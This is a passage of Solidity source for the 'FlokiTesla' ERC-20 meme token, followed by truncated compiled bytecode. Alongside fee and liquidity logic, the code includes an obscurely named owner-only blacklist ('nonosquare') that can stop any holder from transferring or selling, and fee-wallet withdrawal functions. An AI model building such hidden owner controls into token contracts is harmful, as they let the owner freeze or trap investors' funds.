address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiTesla is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "FlokiTesla"; string private constant _symbol = "FlokiTesla"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xA5F2D3688A28F4B55d26F03BB5c1606B3b185Bd2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 7; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1500000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600a81526020017f466c6f6b695465736c6100000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f466c6f6b695465736c6100000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a819055506007600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a819055506009600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a606083